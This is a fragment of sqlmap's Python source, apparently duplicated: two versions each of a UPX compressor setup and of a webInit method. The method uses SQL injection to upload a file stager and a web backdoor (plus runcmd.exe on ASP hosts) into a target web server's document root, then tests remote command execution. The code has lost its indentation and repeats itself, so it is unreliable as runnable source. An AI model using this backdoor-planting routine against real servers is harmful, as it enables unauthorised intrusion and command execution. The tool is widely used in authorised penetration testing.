def __initialize(self, srcFile, dstFile=None):
if PLATFORM == "mac":
self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH
elif PLATFORM in ("ce", "nt"):
self.__upxTempExe = decloakToMkstemp("%s\upx\windows\upx.exe_" %
paths.SQLMAP_CONTRIB_PATH,
suffix=".exe")
self.__upxPath = self.__upxTempExe.name
self.__upxTempExe.close() #needed for execution rights
elif PLATFORM == "posix":
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
else:
warnMsg = "unsupported platform for the compression tool "
warnMsg += "(upx), sqlmap will continue anyway"
logger.warn(warnMsg)
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile)
if dstFile:
self.__upxCmd += " -o %s" % dstFile
def __initialize(self, srcFile, dstFile=None):
if "darwin" in PLATFORM:
self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH
elif "win" in PLATFORM:
self.__upxTempExe = decloakToMkstemp("%s\upx\windows\upx.exe_" % paths.SQLMAP_CONTRIB_PATH, suffix=".exe")
self.__upxPath = self.__upxTempExe.name
self.__upxTempExe.close() #needed for execution rights
elif "linux" in PLATFORM:
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
else:
warnMsg = "unsupported platform for the compression tool "
warnMsg += "(upx), sqlmap will continue anyway"
logger.warn(warnMsg)
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile)
if dstFile:
self.__upxCmd += " -o %s" % dstFile
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
infoMsg = "trying to upload the file stager"
logger.info(infoMsg)
default = None
choices = ('asp', 'aspx', 'php', 'jsp')
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
if Backend.isOs(OS.WINDOWS):
default = "asp"
else:
default = "php"
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = getDocRoot()
directories = sorted(getDirs())
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
originalBackdoorContent = backdoorContent = backdoorStream.read()
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for docRoot in arrayizeValue(kb.docRoot):
if success:
break
for directory in directories:
uriPath = ""
if not all(isinstance(_, basestring) for _ in (docRoot, directory)):
continue
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir:
uriPath = "/%s" % webDir
else:
continue
localPath = posixpath.normpath(localPath).rstrip('/')
uriPath = posixpath.normpath(uriPath).rstrip('/')
# Upload the file stager
self.__webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager via "
infoMsg += "UNION technique"
logger.info(infoMsg)
stagerDecloacked = decloakToMkstemp(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
self.unionWriteFile(stagerDecloacked.name, self.webStagerFilePath, "text")
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
continue
else:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % localPath
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == "aspx":
kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == "asp":
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
backdoorStream.file.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName, localPath)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = localPath
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/')
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
infoMsg = "trying to upload the file stager"
logger.info(infoMsg)
default = None
choices = ('asp', 'aspx', 'php', 'jsp')
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
if Backend.isOs(OS.WINDOWS):
default = "asp"
else:
default = "php"
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(),
(" (default)"
if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" %
len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = getDocRoot()
directories = sorted(getDirs())
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorStream = decloakToNamedTemporaryFile(
os.path.join(paths.SQLMAP_SHELL_PATH,
"backdoor.%s_" % self.webApi), backdoorName)
originalBackdoorContent = backdoorContent = backdoorStream.read()
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for docRoot in arrayizeValue(kb.docRoot):
if success:
break
for directory in directories:
uriPath = ""
if not all(
isinstance(_, basestring)
for _ in (docRoot, directory)):
continue
directory = ntToPosixSlashes(normalizePath(directory)).replace(
"//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace(
"//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(
directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(
directory) else directory
docRoot = docRoot[2:] if isWindowsDriveLetterPath(
docRoot) else docRoot
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(
r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir:
uriPath = "/%s" % webDir
else:
continue
localPath = posixpath.normpath(localPath).rstrip('/')
uriPath = posixpath.normpath(uriPath).rstrip('/')
# Upload the file stager
self.__webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname,
conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
self.webStagerFilePath = ntToPosixSlashes(
normalizePath("%s/%s" % (localPath, stagerName))).replace(
"//", "/").rstrip('/')
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager via "
infoMsg += "UNION technique"
logger.info(infoMsg)
stagerDecloacked = decloakToMkstemp(
os.path.join(paths.SQLMAP_SHELL_PATH,
"stager.%s_" % self.webApi))
self.unionWriteFile(stagerDecloacked.name,
self.webStagerFilePath, "text")
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
continue
else:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % localPath
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == "aspx":
kb.data.__EVENTVALIDATION = extractRegexResult(
r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"",
uplPage, re.I)
kb.data.__VIEWSTATE = extractRegexResult(
r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"",
uplPage, re.I)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == "asp":
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedTemporaryFile(
os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'),
runcmdName)
match = re.search(
r'input type=hidden name=scriptsdir value="([^"]+)"',
uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
backdoorContent = originalBackdoorContent.replace(
"WRITABLE_DIR",
backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
backdoorStream.file.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
if self.__webFileStreamUpload(backdoorStream, backdoorName,
backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName,
backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (
self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.__webFileStreamUpload(
backdoorStream, backdoorName,
posixToNtSlashes(localPath)
if Backend.isOs(OS.WINDOWS) else localPath):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName,
localPath)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl,
backdoorName)
self.webDirectory = localPath
self.webBackdoorFilePath = ntToPosixSlashes(
normalizePath("%s/%s" %
(localPath, backdoorName))).replace(
"//", "/").rstrip('/')
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
